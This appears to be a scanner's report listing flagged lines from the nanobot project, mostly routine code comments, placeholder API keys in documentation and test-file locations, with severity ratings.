| LOW | nanobot/channels/discord/tests/test_discord_channel.py | 181 | CODE | |
| LOW | nanobot/channels/feishu/tests/test_feishu_reply.py | 51 | CODE | |
| LOW | nanobot/channels/matrix/runtime.py | 528 | CODE | |
| LOW | nanobot/channels/signal/tests/test_signal_channel.py | 84 | CODE | |
| LOW | nanobot/channels/signal/tests/test_signal_channel.py | 658 | CODE | |
| LOW | tests/agent/conftest.py | 42 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/channels/email/tests/test_email_channel.py | 1622 | # Create a real temp file to attach | COMMENT |
| MEDIUM | tests/test_api_attachment.py | 275 | # Create a file larger than 10MB | COMMENT |
| MEDIUM⚡ | tests/test_document_parsing.py | 487 | # Create a minimal PNG file (1x1 pixel) | COMMENT |
| MEDIUM | tests/providers/test_image_generation.py | 1832 | # Create a temporary image file | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 350 | # Create a message from telegram channel | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 365 | # Create a long-running task stored under UNIFIED_SESSION_KEY | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 372 | # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatch | COMMENT |
| MEDIUM⚡ | tests/agent/test_onboard_logic.py | 203 | # Create a mock field_info with None annotation | COMMENT |
| MEDIUM | tests/channels/test_channel_plugins.py | 3569 | # Create a real cancelled task | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/skills/update-setup/SKILL.md | 15 | ## Step 1: Check Existing | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 21 | ## Step 2: Current Version and Install Clues | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 38 | ## Step 3: Confirm Required Inputs | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 80 | ## Step 4: Generate Skill | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 126 | ## Step 5: Confirm | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 222 | ### Step 1: Understanding the Skill with Concrete Examples | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 239 | ### Step 2: Planning the Reusable Skill Contents | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 263 | ### Step 3: Initializing the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 296 | ### Step 4: Edit the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 337 | ### Step 5: Packaging a Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 365 | ### Step 6: Iterate | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 844 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 859 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2383 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2409 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2437 | # Step 3: Send message with the media item | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | docs/configuration.md | 997 | "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 1025 | "apiKey": "your-api-key", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/agent/tools/filesystem.py | 228 | # Check if resolved path starts with /dev/ (covers symlinks to devices) | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1065 | # Check if context_window_tokens field exists | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1071 | # Check if current value is the default | COMMENT |
| LOW | nanobot/skills/skill-creator/scripts/init_skill.py | 282 | # Check if directory already exists | COMMENT |
| LOW | nanobot/channels/manager.py | 978 | # Check if this message belongs to the same stream | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/channels/dingtalk/runtime.py | 78 | # Parse using SDK's ChatbotMessage for robust handling | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 1232 | # If quoted message is media, just pass the text | COMMENT |
| MEDIUM | nanobot/channels/signal/runtime.py | 713 | # Keep aliases of the bot account for robust mention matching. | COMMENT |
| MEDIUM | webui/package-lock.json | 7950 | "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1501 | # under the reasoning trace. | COMMENT |
| MEDIUM | docs/my-tool.md | 47 | # Note: prompt_tokens is cumulative across all turns, not current context window occupancy. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/tools/test_private_tool_logging.py | 48 | CODE | |
| MEDIUM | tests/tools/test_mcp_tool.py | 212 | CODE | |
| MEDIUM | tests/tools/test_mcp_tool.py | 1065 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/channels/dingtalk/runtime.py | 844 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 859 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2383 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2409 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2437 | # Step 3: Send message with the media item | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | nanobot/skills/skill-creator/scripts/init_skill.py | 267 | Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill p | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | render.yaml | 1 | # Render Blueprint — deploys nanobot's gateway + bundled WebUI as one web | COMMENT |
| LOW | nanobot/config/schema.py | 601 | # like "nemotron" or "llama" to enable bare-model auto-routing, | COMMENT |
| LOW | nanobot/providers/registry.py | 101 | # How to inject the thinking on/off toggle into extra_body. | COMMENT |
| LOW | nanobot/providers/registry.py | 121 | # accepted set differs from OpenAI's. An empty mapped value omits the kwarg. | COMMENT |
| LOW | nanobot/channels/qq/runtime.py | 181 | # Quoted messages | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …nobot/channels/whatsapp/tests/test_whatsapp_channel.py | 298 | def handle_request(request: httpx.Request) -> httpx.Response: | CODE |